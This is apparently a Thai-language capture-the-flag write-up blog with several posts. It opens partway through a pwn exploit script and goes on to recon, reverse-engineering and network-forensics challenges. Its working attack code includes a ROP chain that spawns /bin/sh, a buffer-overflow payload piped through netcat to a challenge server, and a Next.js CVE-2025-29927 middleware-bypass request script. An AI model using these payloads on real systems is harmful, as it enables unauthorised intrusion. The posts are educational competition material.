    canary   = int(parts[0], 16)
    pie_leak = int(parts[1], 16)
    lib_leak = int(parts[2], 16)
 
    pie_base  = pie_leak - 0x15b3 
    libc_start_offset = 0x2a1ca 
    libc_base = lib_leak - libc_start_offset
    log.success(f"Canary  : {hex(canary)}")
    log.success(f"PIE     : {hex(pie_base)}")
    log.success(f"libc    : {hex(libc_base)}")
    return canary, pie_base, libc_base
def do_exploit(canary, pie_base, libc_base):
   
    pop_rdi = pie_base  + POP_RDI_RET
    ret_gadget = pie_base + RET
    if libc:
        system_addr  = libc_base + libc.symbols["system"]
        binsh_addr   = libc_base + next(libc.search(b"/bin/sh"))
        print("libc na")
    else: 
        system_addr  = libc_base + 0x58750 
        binsh_addr   = libc_base + 0x1cb42f 
        print("libc + hex")
    log.info(f"system()   : {hex(system_addr)}")
    log.info(f"/bin/sh    : {hex(binsh_addr)}")
    log.info(f"pop rdi    : {hex(pop_rdi)}") 
    padding = b"A" * 0x88  
    fake_rbp = b"B" * 8
    rop = flat(
        ret_gadget, 
        pop_rdi,
        binsh_addr,
        system_addr,
    )
    payload = padding + p64(canary) + fake_rbp + rop
    p.sendlineafter(b"> ", str(3).encode())
    p.sendafter(b"Enter final message: ", payload)
    p.recvline()  # "[+] Message sent!"
if __name__ == "__main__":
    
    canary, pie_base, libc_base = do_leak()
    print(f"Canary: {hex(canary)}")
    print(f"PIE: {hex(pie_base)}")
    print(f"libc: {hex(libc_base)}")
    do_exploit(canary, pie_base, libc_base)
    p.interactive()

จากนั้นก็รัน exploit.py เลยย

เราก็จะได้ shell ในที่สุด!!!

หากข้อมูลผิดหรือตกบกพร่องตรงไหนก็ขออภัยไว้ ณ ที่นี้ สามารถติหรือทิ้งความคิดเห็นได้นะครับ จะนำมาปรับปรุง

นี่ก็เป็นการเขียนหมวด pwn จริงๆจังๆ ครั้งแรกในเหล่าบรรดา writeup ของผมเลย

ก็ขอขอบคุณคนที่อ่านจนจบถึงจุดนี้ THANK YOUUUUU!!

#SECPlaygroundCybersplash2026

The Scammer CTF 2025

Sun, 14 Dec 2025 00:00:00 GMT

The Scammer CTF 2025

by ShoIsMyName • Dec 2025

hello world วันนี้ผมจะมาแสดงวิธีทำโจทย์ต่างๆของ the scammer ctf

ไอจะเริ่มจาก Scenario3 กันก่อนนะ เริ่มจาก part แรก

Part1 — Suspicious Discord Login

Part2 — Data Leakage (1)

เข้าไปที่ลิ้ง discord.system-login.co/.git/config

จะเจอ repo ของ demo336 -> github.com/demo336/not-a-discord.git

เช็คอะไรใน source ไม่เจอ แต่เจอพี่ต้ะใน commits

flag จะอยู่ใน commits ที่ 3,4

ภาพเล็กหน่อย เพราะอยากให้เห็นภาพรวม

Part3 — Data Leakage (2)

ข้อนี้ไอไม่ได้แคปไว้ แต่ไอแคนโชว์ยูฮาวทูดูนะ

git-dumper https://discord.system-login.co/.git/ somefolder

cd /somefolder

gitlog

จากนั้นก็ git show ตัว commit hash ไม่แน่ใจว่าอันไหน แต่ก็ลองๆไปดู เดะก็เจอเองไอสเวิร์ดทูเดอะก๊อท~

Part4 — Recon 101

gobuster ดู subdomain ละเจอเด็ดๆอันนึง support.system-login.co 🤤

Part5 — No More Cloudflare

ตามเสตปข้อก่อน เจอ subdomain อันนึง ul-cat6506-gw.system-login.co

เย้ เย้ เย้ เย้ เย้ เย้ย้ย้ย้ย้ย้ยย้ย้ย

โด้นท์ฟอร์เก็ททูไลค์แอนด์ซับส์สไครบ์ แอนฮิทท์แด๊ดเบลว์ เลสซ์โก้วววววว!!!

Reverse Engineering & Pwnable | Thailand Cyber Top Talent 2025 junior [Qualifier]

Tue, 02 Sep 2025 00:00:00 GMT

Reverse Engineering & Pwnable | Thailand Cyber Top Talent 2025 junior [Qualifier]

by ShoIsMyName • Sep 2025

你好，我叫 Sho。วันนี้จะมาแสดงวิธีทำโจทย์หมวด Reverse Engineering & Pwnable กันนะครับ โจทย์บางอันอาจใช้วิธีที่แตกต่างจากคนอื่น และเครื่องมือที่แตกต่างกัน ใครมีวิธีแบบไหนก็คอมเม้นไว้ได้เลย เดี๋ยวไปอ่าน เพราะทางนี้ก็อยากรู้เหมือนกัน555

1. very_ez_re ( 100 points )

เริ่มจากลองรันโปรแกรมเพื่อดูการทำงานคร่าวๆ

พูดตามตรงว่าผมไม่ได้ลงลึกใน source ของ ghidra เพราะมันเยอะและตาลายมากๆ เลยย้ายมาดูในไฟล์ .dll เพราะไฟล์ .dll เป็นที่เก็บรหัสและข้อมูลของโปรแกรม เราเลยสันนิษฐานว่าอาจมี flag ในนี้ก็เป็นได้!!

แล้วก็เจอจริงๆ ดูจากคำแรก “ P r e s s a n y k e y t o e x i t . . .” ก็มีให้เห็นในโปรแกรมเหมือนกันนี่หว่าาา ถ้าสังเกตบรรทัดที่ 3 ที่ highlight จะเห็นคำว่า “flag”

เพื่อความสะดวก เราจะดูผ่าน command “strings” และใช้ option encoding 16-bit

และขั้นตอนสุดท้ายก็คือ cyber chef ( cookingๆๆๆๆ 🧑‍🍳🍳 )

แล้วเราก็จะได้ flag สุกๆ! 🎉🎉🎉

flag{351672a449c8f27eac1e5352afb8ecc1}

2. medium_rare ( 200 points )

ก่อนอื่นเรามาดูการทำงานคร่าวๆกันก่อนตามเดิม

ดูเหมือนว่าโปรแกรมจะไม่รับ input อะไรเลย จึงพอจะมี 2 วิธีที่จะเอา flag คือ patch program หรือจะอ่านไฟล์ .dll เหมือนข้อ very_ez_re

เอาไงดีว้า

ด้วยเวลาอันน้อยนิด และนิดหน่อย คิดจะ patch มันทำไม strings ผ่าน .dll เล้ย!

ใส่แมวกันว่าง555555

ตู้ม!! เจอเฉยยยย~ อ่ะฮิๆๆๆๆ ได้ flag ชิวเกินคาดด 🎉🎉🎉

flag{0b58400010f01d7e0fb096a565b553ab}

Network Security | Thailand Cyber Top Talent 2025 junior [Qualifier]

Mon, 01 Sep 2025 00:00:00 GMT

Network Security | Thailand Cyber Top Talent 2025 Junior [Qualifier]

by ShoIsMyName • Sep 2025

หนีห่าว ว่อเจี้ยวโช วันนี้จะมาแสดงวิธีทำโจทย์ ของงาน cyber top talent 2025 หมวด network security กันนะครับ ส่วนหมวดอื่นๆผมจะคอยทยอยลงนะครับ พอดีช่วงนี้ติดเกม5555555555

1. Love Letter (100 points)

ไฟล์ที่เราได้มาจะมีไฟล์ .pcap มาหนึ่งไฟล์ โดยเราจะเริ่มดู log คร่าวๆกันก่อน

จากที่เห็นก็ถือว่าไม่ได้เยอะอะไรมาก พอเลื่อนดู tcp udp stream ได้อยู่ แต่จุดที่เราสนใจจะอยู่ที่ tcp.stream eq 4 เพราะมีการ communicate กันระหว่าง MINECRAFT_CLIENT กับ MINECRAFT_SERVER

tcp.stream eq 4

เนื้อหาข้างในไฟล์ tcp stream จะเป็นแบบนี้

ซึ่งเราจะเห็น variable ชื่อว่า “data” ดูเหมือนว่าแต่ละ string ของข้อมูลจะถูกส่งเป็นช่วงๆ เพราะฉะนั้นเราจึงเอา strings มาต่อกัน เราก็จะได้

UEsDBBQAAAAIAKYAEls0JprpZwEAADUCAAAPAAAAbG92ZV9sZXR0ZXIudHh0RZFBb9swDIXv/hW89RIEbdpl3bGHASuw3gYMPdISFROVxECS4xlD//uenAC72AAfyffx6W0lL1yktt0wvNI4a2zEVM/ilCO5ibVQsEJzJc1VvZDNhd40iyscGi1Wot/Td3YTjdHcB00WfcWOs4pDd6C00gSPhq6LlBXCH4ldWMw8aSXH5SKeFm0T5pIkQxf07sT+IrnNINwPww/1XvLWqJnwqVd/iip1G62VT4I/50aW47qxrzbv6ZfRnJ2BgLTteu0uRsoC42ZkZ+kL5XYxZ3/jb3YS1MsmjmuDzytFCbjm94QZ7KGgaO96RSjyf/nEF6FzsX5KQC4LpRkx9ZFO2H2T4KwXsMeF17rbTo6A 7LEIcD3wsjVkT85SAheaxnkrdMemSWiR/mBg8IIJzadNuiYDrT+qh83PvvdmNLx3pysvMk5apAxDiHz6G+7HR/kqj1+Oz8eHY+Cjf+LDgf29+Cf3/E0+h39QSwECFAMUAAAACACmABJbNCaa6WcBAAA1AgAADwAAAAAAAAAAAAAAgAEAAAAAbG92ZV9sZXR0ZXIudHh0UEsFBgAAAAABAAEAPQAAAJQBAAAAAA==

จากนั้นเราเอาไป decode base64 ดู จะเห็นว่าคำนำหน้า output เป็น PK นั่นหมายความว่าข้อมูลนี้เป็น raw ที่สามารถแปลงกลับเป็นไฟล์ปกติได้

จากนั้นเราจะใส่ unzip เข้าไปเพื่อ compile file ให้กลับเป็นรูปเดิม

เราก็จะได้ flag ในที่สุด

flag{f0b3e7e3568616fa6d4a22ad0ed4c89e}

2. Cipher Puzzle (200 points)

ไฟล์ที่เราจะได้มาก็เหมือนกับข้อที่แล้ว มีไฟล์ .pcap แค่อันเดียว ไม่รอช้า ลากเข้า wireshark เลย!

เอ๊ะแรกคือ log มีน้อย เอ๊ะสองคือมี tcp เยอะเหมือนข้อแรก ผมเลยมุ่งไปที่ tcp stream อันดับแรกเลย และก็บิงโก!!

เพราะเราเจอข้อความที่เป็น hex และถูกส่ง string เป็นช่วงๆ เหมือนข้อ Love Letter คราวนี้เราก็พอจะเดาได้ว่าเราต้องทำอะไรต่อ เริ่มจากเอา strings มาต่อกัน

2504020b004d071c0e0a0305426d65210e00002c0c154e0e1c4d090b150a436b2747070c170b470704050a02014d0000081b05041c470208121d0608084108081d4d180112414d6b6401030c0615525f0b030f5f595d0258045a5e555d510c0f0008010a55525756595c580b5158106b

จากนั้นก็ hex decrypt เพื่อให้ cipher อยู่ในรูปปกติ แต่เหมือนว่ามันจะถูก xor ด้วย key อะไรบางอย่าง

วิธีที่เราจะใช้คือ xor brute force ด้วย wordlist เริ่มจากโหลด output ที่ได้จากตอน hex decrypt มาก่อน (.dat)

หน้าตาก็จะประมาณนี้แหละ

จากนั้นเราจะ brute force ด้วย python code สามารถใช้โค้ดด้านล่างนี้ได้เลย และ wordlist ที่ใช้จะเป็น rockyou.txt (จาก GitHub)

def xor_bytes(data, key: bytes) -> bytes:  
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])  

# download cipher   
with open("download.dat", "rb") as f:  
    ciphertext = f.read()

# import wordlist   
with open("rockyou.txt", "r", encoding="utf-8", errors="ignore") as f:  
    keys = [line.strip().encode() for line in f]  

for key in keys:  
    plaintext = xor_bytes(ciphertext, key)  
    # filter the answer (ASCII)  
    if all(32 <= c < 127 or c in (10, 13) for c in plaintext[:200]):  
        print(f"[KEY: {key.decode(errors='ignore')}] => {plaintext[:200]}")

แล้วเราก็จะได้ Key & Flagในที่สุด 🎉

หรือจะเอาไป xor โต้งๆอีกทีใน cyberchef ก็ได้

now we got the flag!!!

flag{50fba860c6c53436cbaffe8391619e67}

Thank you for reading kub pom ❤

Tags: Thctt2025, CTF, CTF Writeup, Network Security

Pwn | ASEAN Open CTF 2025

Thu, 21 Aug 2025 00:00:00 GMT

Pwn | ASEAN Open CTF 2025

by ShoIsMyName • Aug 2025

หนีห่าวมา ว่อเจี้ยวโช วันนี้จะมาแสดงวิธีทำโจทย์หมวด pwn สไตย์ผมกันนะครับ เพื่อไม่เป็นการเสียนาฬิกา ไปดูกันเลยยยยย

มาเริ่มกันที่ข้อแรก กับข้อ EZ_PWN

โดยเปิดมาก็เจอไฟล์ zip ให้เราโหลด บวกกับต้องเล่นผ่าน netcat แค่คิดก็เหนื่อยแล้ววว เลยขอเปิดที่ netcat นี่แหละ อยากรู้ว่าต้องเล่นอะไรร

เห็นขนาดนี้ก็ภาวนาในใจขอให้เอาไฟล์เข้า ghidra แล้วเจอ password พร้อมกับโหลดไฟล์ และใน zip ก็จะมีแค่นี้

Let move to ghidra!!

โดยเริ่ม step แรกของเรากันก่อน จะเริ่มจาก main()

function นี้มีการ call function 2 อันคือ check_password() และ triggerland() เราลองไปดู check_password() กันดีกว่า

เราเจอ password 2 อัน “security123” & “P@ss0wrd”

เมื่อลองใส่ password ทั้ง 2 ก็จะเห็นว่าเราควรใช้ “security123” เพราะเหมือนมันสามารถให้เราเข้า access อะไรบางอย่างของมันได้ ซึ่งนั่นก็คือ triggerland() นั่นเอง!!

แต่คำถามคือแล้ว function ที่มี flag มันอยู่ไหน ก็เลยไปเจอว่ามันอยู่ที่ onepiece()

ประเด็นมันอยู่ว่า ตอนนี้เราใส่ password แล้วมาถึง triggerland() แต่ในนี้มันไม่มีอะไรที่จะ call function onepiece() ได้เลย แล้วเราจะทำยังไง

วิธีที่เราจะใช้ก็คือ buffer overflow ไงล่ะะะ!!!

เป้าหมายของเราคือพา program ของเรากระโดดไปเรียก onepiece() ที่มี flag ซ่อนไว้!!

แต่ก่อนที่จะเริ่มโจมตี เรามาทำความเข้าใจเกี่ยวกับโปรแกรมนี้กันก่อน เจ้า triggerland() เนี่ย มันจะรับ input buffer ได้ 64 bytes ซึ่งถ้าจะ buffer overflow มันเนี่ย แน่นอนเราจะใส่ input ที่เกิน buffer ของมัน ปัญหาคือ แล้วต้องทำแบบไหนให้มันกระโดดไปที่ onepiece() กันล่ะ

เอางี้ เรามาลงลึกตรงจุดนี้กันดีกว่า

เวลา function ใน C ทำงานบน x86–64 compiler จะใช้ calling convention ที่สร้าง “stack frame” ของ function ขึ้นมา พอ triggerland() เริ่มทำงาน คำสั่ง assembly แรกๆ โครงสร้างมันจะเป็นแบบนี้

ตรง push rbp จะเก็บค่า RBP ของฟังก์ชันที่เรียกมา (caller) ไว้บน stack เรียกว่า saved RBP

stack ของ triggerland() จะประมาณนี้

เวลา get(local_48) มันจะเขียนทับ local_48 ก่อน ถ้าเกิน 64 bytes ก็จะทับ saved RBP (8 bytes ถัดมา) แล้วถ้าเกินอีก 8 bytes ก็จะทับ return address ซึ่งจุดนี้คือจุดที่เราจะใส่ address ของ onepiece()

เพราะฉะนั้น offset รวมจากบัฟเฟอร์ไปจนถึง return address = 64 + 8 = 72 bytes

โดยรวม input ที่เราจะส่งก็จะประมาณนี้

สิ่งที่เราต้องการตอนนี้คือ address ของ onepiece() นั่นก็คือ 21011196 หรือ 0x21011196

เมื่อเราได้มาแล้วก็เขียน payload code กันนน!!

 ( printf 'security123\n'; python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*72+struct.pack("<Q",0x21011196)+b"\n")' ) | nc 203.154.91.221 5225

Let’s exploit!!

แนะนำว่าใช้ code ดีกว่าพิมพ์เอง เพราะจะติดเรื่อง “inability to send raw bytes via standard input”

ขอบคุณที่อ่านจนจบครับบ See u next illusion~

CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้

Sun, 20 Jul 2025 00:00:00 GMT

CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้

by ShoIsMyName • Jul 2025

งานที่ผมไปเป็นรุ่นที่ 4 ของปี 2025 เดาว่าโจทย์ของผมน่าจะแตกต่างจากรุ่นก่อนๆ โจทย์ที่อยู่ใน writeup นี้จะมีทั้งของที่อมรมและแข่งนะครับ

โอเคร เรามาเริ่มกันเลยดีกว่า !!

BigNote: โจทย์ที่ผมเอามาทั้งหมดนี้เป็นโจทย์ที่ผมทำได้ ส่วนอันที่ทำไม่ได้…. ผมก็ไม่เอามา 55555555 ( อาจเอามาไม่ทั้งหมดนะครับ บางไฟล์หายแล้ว)

Web application

1. Web 1 (300)

Hint ของโจทย์: เว็บใช้ Next.js และมีช่องโหว่ CVE-2025–29927

ครั้งแรกที่เห็นโจทย์ก็มึนตึ้บ เพราะไม่รุ้มันทำงานยังไง ผมเลยเข้าไปดู payload ที่เว็บ picussecurity เผื่อจะได้เข้าใจช่องโหว่ไวๆ

เลยสรุปได้ว่าาาา : เราต้องยิง request โดยมี x-middleware-subrequest อยู่บนHeader ( method GET ) มันจะทำให้ตัวเว็บเชื่อเราและ bypass ได้

โดยเราจะส่ง request ไปที่ /api/admin ( ตามที่ใบ้ในรูป )

And this is my codeeee

import requests
url = "https://outdated.sdhbank.p7z.pw/api/admin"
headers = {
    "X-Middleware-Subrequest": "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
    "Cookie": "cf_clearance=.CgWdsWz7EB_K7l7tYRBZDzZkDoHks2kFtWHjGHuV3Y-1752990655-1.2.1.1-3illUuCoEmiEE8dtyP6NEqXPK1DRxpT5Xa1mBhTfQslE6TURkyjVtTaQXwaNWnh8jwETzFLWTYyvh84K1s1ZJZgq05jO3ClVCL057hovhgIiMcQo7E17asPC2GwF_keBmfIYo4V3Ed73oeaf11Q7fCBcuv2cqub6u80iGrYdmpQ5fJOaffDR3E.HPuWnEBPQ0y7WJDZerB5IbjjaDe_YXr0jophleWrTH4BrTVRI.6s",
    "Accept": "*/*"
}
r = requests.get(url, headers=headers, verify=False)
print(f"[+] Status Code: {r.status_code}")
print("[+] Response:")
print(r.text)

🚩 Flag:

ความจิงก็ทำผ่าน Burp-suite ก็ได้นะ แต่อยากเท่… 55555

Forensic ( network )

🕵️ Incident 07-PhantomLink (300)

ไฟล์ที่เราได้มาจะมีไฟล์ _MACOSX และ .pca

ผมเห็นว่า log request ใน wireshark น้อยดี ผมเลย check tcp.stream eq ทีละตัว

โดยจุดที่ผมเจอ จะอยู่ที่ tcp stream eq ที่ 2 และ 4

ถ้าสังเกตจาก ASCII table ข้างๆ hex จะเห็นข้อความว่า “ Thank you for registering for the Moo Deng Fan Meet! ” ถือว่าเป็นสัญญาณดี ผมเลยกดเข้าไปดู tcp stream ( ctrl + alt + shift + t )

จะเห็นได้เลยว่าจะมี encode word ที่พอจะเดารางๆได้ว่าเป็น base64

เย้ 🎉เราได้มาแล้วครึ่ง flag ……

จุดต่อไปก็อยู่ใม่ไกลมาก นั่นก็คือ tcp stream eq 4 หน้าตาจะประมาณนี้

ดูที่ตาราง ASCII table เหมือนเดิม เราจะเห็นคำว่า secret_half2.txt ตามสูตรเดิม

เย้ 🎉ได้ flag ครบเป็นที่เรียบร้อย

🚩 Flag:

🕵️ Operation ShadowStream (400)

ไฟล์ที่เราได้มาจะเป็น .pcapng ธรรมดาๆอันนึง และไฟล์ private_key

อันดับแรกเราไปเช็ค .pcapng ใน wireshark กันดีกว่า

ไอ้เราเห็นก็ตกใจ ทำไม request น้อยจัง งั้นก็เข้าทางเราเลย~~ ผมเลยเข้าไปดู TCP Stream ก็เห็นเป็นประวัติการเข้าใช้งาน terminal ใน linux แต่ดูเหมือนว่า result ของ command จะถูก Encrypt ด้วย public_key

แต่ไม่เป็นไรร เพราะเรามี private_key 😏😏😏😏

ไม่รอช้า decrypt สิครับคุณผู้โชม

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Hash import SHA256
import base64
private_key_pem = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDOATz3KvtmyNEr
JoG37gxt78taWaQI8F7hQ3jq4qCe3Lxur0/DACTdLHexcMJha5V0m42HY1i2ZqMo
sOCqNtbr5vG/ygY2+/neNb3h0Igtwkyd7FiVyEAzz4jmk4oLXimo+HwJ4Bn58RXD
4wGA8kTuNn7c8oxcUjyJRlipVLqNr997SyanEy1CgQNtCgshz/cvPeCwkmmLd/HY
VYH53KJkoaVz4atFuj+byt1cuEL4SXZ4W8WAck2dXvYSzurP0xnDm62VQIG6mkxl
i+PNinUZBz/lNWIJikkAayL1hoHjCy7EtC3CGyKQG2QKGBAKVblg9qF4p+K8Q1fs
M40jtxftAgMBAAECggEAAy0CYJkZXmtIIOSAvsd9CjuBJLfEZJ2NXjxTt+NIhfUc
iTmgqX6YvY7QRZGvHXYIIXpobdGP7jfvhKgSvpexK9qCmD9SuzRFP4dlPFRM/8+Y
A3M/plzQ8zuG08SAg05Z/BCLRlJdyXxNpphwTymXpch8n4a0YpP4pPEgWslDRaiN
BPlSAHKVNvHyckpR2Bg0TlwpKt+ZOEKaZyT5atTXc9vgvY8TZAZ92Ckz2oZQS+S7
bQq24EcqHjoLaemGEy9NywAZ+qUL8vU8Zd6wkNO79I7qnqTcE7pwGpqLk/svvbFE
hpq6UMiX0LPCdYI/h33AHc4dDtcXwLjb+kUVyyxSoQKBgQDy03FCBYs4F9rGF66S
gUs2K6SFwK6s1dbEOrku+1kfjD4iEjR6Psl8hOVCDF+74V0DBvcaEGVHnrAuMyDM
MIbgSkcs6exsC0suOxamY6hXD+dp1lmOHukFShPLJH4t3W3QMsg5sVtJVaODeoqx
KKfT3uA/La6S+oWPfDngal9GyQKBgQDZLmUsvBKPASNlOR9NG/zW/+7y9RnaTnay
B4NZtz9yygf5maLQzQfEsqFb3l25oQJqCmZ20hlsWK0uwfdEBxaZAZd8LDVxqUP2
nIrAXY98TdLDVa8iZnzR7u8oN1+7GDGge050ZoADd+T1m56s55roaHAIBChf74hl
P3qhQaIGBQKBgEEbeG6fVejAXKRojSIzEJuBsCc8tpkY7PDIXga+1fKjg7VW9EMi
uptsdpvy/Wg+0NWS9IZEhyNg5RQ+GTkmecOBpvvf7Mg7bvkCVtxeNDDDzuSN2I1G
tGv6pLv/GOXrTRpZw13UtAlBsQn7vVwq7nTceXv3H6vBCDaktE/7tXghAoGADI2N
84P7XqCmNxeSI5bWimbInOpl0CRw3+FnSiw5Up0y0M58hq0TId9hTDoSGMShqxdm
zL9gEM8fU3CKpjfyqm1ZICg9/o/WCc8KhgviW0D0Sa4OLWLXHBs/X4ez1NCVLb1y
z2+NPqYTac7Q4RWR8pT2xL/YxZLGw3Nj1yZAAzECgYAb2FPm1fRVJFMT9mxOIbkH
Zk9wpL+wFC8/DLOm44X9Ggu1fQh9FA2wEd6nqDTYYVw1yzYIh8wKAa6/KMmTQEmg
m6p1m4rvsXaCi7XJ7i3Kz8C/IuEQLFix9h6kkXDwkJfxpVIpwHzULMKJyqDdMBo0
vD+kIlL8I+MaMfnnDXsPAw==
-----END PRIVATE KEY-----"""
base64_blocks = [    "m3/oQS/FYXuPgKEsoCXO2NCBxkEAtMycpnl+2vY0VMaOgAGuyciaQNzYAJtSF/JpRILcmDOHJ6TRyFVw3OoEGWcSKydSbneDVgQXIEptRh0z4kvW/5ixC9o1T0Q0Yn2oH/g3mxVIng1NVzMJzENlOO1vUPtn8ktdxvW939Ovt0h4Z8HkxAwDBAsvFWA6AIALhXhb9Ih3UWx/xQoQfrf468sQldMUS29QyOHCPhpAi1CPIikiXx2Teid7AFagvFcJ2OzTax8pg3VzPv/kLnzkMxclLJA8e7/O3Mj1S+08MzU9HaDJi4Emxu+L8LoYfQHVqxkkFi3pI7v2bq/7kBWQLA=="
]
private_key = serialization.load_pem_private_key(
    private_key_pem.encode(),
    password=None,
    backend=default_backend()
)
pkcs1_der = private_key.private_bytes(
    encoding=serialization.Encoding.DER,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
rsa_key = RSA.import_key(pkcs1_der)
cipher = PKCS1_OAEP.new(rsa_key, hashAlgo=SHA256)
for b64 in base64_blocks:
    decrypted = cipher.decrypt(base64.b64decode(b64))
    print(decrypted.decode(errors="ignore"))

🚩Flag:

Forensic

🧨 Operation: LNK Injection (400)

เป็นข้อที่ผมงมค่อนข้างนาน นานที่ว่าพึ่งรู้วิธีทำหลังงานจบ

<b>[other]ตรูอยากวิ่งหนีออกจากงานมาก เพราะข้อนี้มันง่ายมาก[/other]</b>

โดยสิ่งที่ได้มาจะมีไฟล์ _MACOSX และไฟล์ Shortcut

เราสามารถทำได้หลายวิธีมาก จะ cat ผ่าน command หรือจะดู file properties ก็ได้ เดี๋ยวจะแสดงวิธีทำทั้ง 2 แบบให้ดู

cat

file properties

โดย string ที่เราจะโฟกัสจะประมาณนี้

C:\Windows\System32\notepad.exe -WindowStyle Hidden -Command 'Write-Host ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A'

จะเห็นว่าจะมี Base64 อยู่หลังคำว่า Write-Host

ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A
```![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uB9ODWTrHeb7_sA4tfTCQQ.png)

🚩 จะเห็นว่า flag จะถูก Interrupted ด้วยค่า NULL เหลือแค่เอาค่า NULL ออก

ยอมรับตามตรงว่าผมเอามา decode ตั้งแต่ base32–85 แต่ไม่ได้สังเกตจริงๆ.. สงสัยรีบ 5555555

MISC
----

> 1. Misc 2 (400)

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Ue_4SRVkIDNAJM-asTx9lQ.png)

ไม่รอช้า ไม่ยากเกินใจ (～﹃～)~zZ

🚩 Flag:

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ta5tkHUlWJaxwRcfsyvhEw.png)

Reverse Engineering
-------------------

> 1. Reverse — ELF x86 — Basic

สิ่งที่เขาให้มาจะมีแค่ executable file

![captionless image](https://miro.medium.com/v2/resize:fit:624/format:webp/1*CKMD7w2-0G12YzIVbOpy5Q.png)

เราลองมาดูการทำงานคร่าวๆของมันกันก่อนดีกว่า ซึ่งเหมือนว่าเราต้อง login มันเข้าไปเพื่อเอา flag

![captionless image](https://miro.medium.com/v2/resize:fit:534/format:webp/1*duqx2eSxomNhwPt0HLNKGg.png)

เริ่มจากเปิด ghidra ขึ้นมา แล้วไปดูที่ function เผื่อมีอะไรที่น่าสนใจ

![captionless image](https://miro.medium.com/v2/resize:fit:722/format:webp/1*KMZNcxsY2q35iVZaIQpL3A.png)

จุดที่ผมสนใจจริงๆเลยก็คือ main() กับ show_flag()

> main() function

![captionless image](https://miro.medium.com/v2/resize:fit:1368/format:webp/1*f-dZl8W_BtDgWeGWDeqhgg.png)

> show_flag() function

![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3X2enyNrbXfIGWAA5W8o1w.png)

จากที่ดูที่ main() จะปรากฏ username กับ password นั่นก็คือ mr.bean & inwza007 !!

🚩 Flag:

![captionless image](https://miro.medium.com/v2/resize:fit:1126/format:webp/1*-pSrP3d6nw0YAbutP_PJFw.png)

Thank for coming !!
-------------------

AI discord bot image detection for beginner 🤖

Tue, 03 Jun 2025 00:00:00 GMT

AI discord bot image detection for beginner 🤖

by ShoIsMyName • Jun 2025

Hallo! (‾◡◝)

วันนี้ผมจะมาสอนสร้าง discord bot ที่สามารถตรวจจับภาพจาก chat แล้วนำมาประมวลผลต่อได้ ซึ่ง mini-project นี้เราจะทำให้ bot ของเรา detect มือ แล้วมาประมวลผลว่ามือเป็น ค้อน กระดาษ หรือกรรไกรรร 🪨📃✂️

Q: แล้วให้มัน detect อย่างอื่นไม่ได้หรอ ? 〒▽〒 A: ได้แน่นอนน แค่เปลี่ยน dataset ที่จะ train model

โดย project ที่นี้เหมาะสำหรับมือใหม่ๆสุดๆ โดยเราจะไม่จำเป็นต้อง setting พวก Layer, Activation function, Hidden layer เลย

🍎 Let start !!

Gather Dataset 📷

ตอนเด็กเรามักจะได้เห็นสิ่งของ สัตว์หรือภาพตรงหน้า และเรียนรู้ว่าสิ่งๆนั้นมันคืออะไร กระบวนการเรียนรู้แบบนี้คือ เรียนรู้จากข้อมูล , AI ก็เหมือนกัน

สิ่งที่เราต้องมีคือ

Images (ภาพที่ต้องการให้เรียนรู้)
Annotation (สิ่งที่จะบอก AI ว่าวัตถุอยู่ตำแหน่งไหนของภาพ)

ข้อย้อนกลับไปประโยคข้างบนที่ว่า “AI ก็เหมือนกัน” เราจะมาขยายความเล็กๆกันหน่อย เผื่อจะทำให้ทุกคนเห็นภาพในมากขึ้น

ขณะที่ AI หรือ model กำลังเรียนรู้ ข้อมูลที่ส่งเข้าไปข้างในก็จะมีภาพและ annotation, เมื่อมันเห็นข้อมูล มันก็จะปรับ weight ปรับ bias เพื่อทำให้ตัวเลขหรือค่าสถิติเหมาะสมที่พร้อมสำหรับการทำนาย

ความจริง model ไม่ได้เข้าใจภาพจริงๆหรอก มันแค่ใช้ค่าสถิติเพื่อมาวิเคราะห์ภาพเพียงเท่านั้น

Let’s start gathering the images!!

เราสามารถเอาภาพจาก internet หรือจะถ่ายเอาเองก็ได้ ยิ่งภาพเยอะ ai ก็เรียนรู้ได้เยอะ แต่อย่าลืมนะว่าเราก็ต้องทำ annotation เยอะเช่นกัน (ขั้นตอนนี้เหนื่อยเอาเรื่องเลยล่ะ)

ภาพที่เราควรมีควรเป็นภาพที่ความหลากหลาย แต่ยังคงมี object ที่เป็นเป้าหมายของเราอยู่ เช่น จากหัวข้อเราจะทำ AI detect hand เราก็ต้องมีภาพที่มีมืออยู่ในนั้น แนะนำว่าอย่าเป็นมือที่มี background เดิมๆ หาภาพที่มี background ที่แตกต่างกัน, ภาพมือจากองศาต่างๆ ✊🏻🤚🏻✌🏻(ปัญหา overfitting model เดี๋ยวจะอธิบาย) และสุดท้ายคือข้อมูลปลอม

คำถามคือ “ ทำไมต้องใส่ข้อมูลปลอมล่ะ? “

บางคนอาจคิดว่าถ้าเราใส่ข้อมูลปลอมให้ model เรียน มันอาจทำให้ AI ของเราเรียนรู้ข้อมูลที่ผิดและทำให้การ predict แม่นยำน้อยลง..

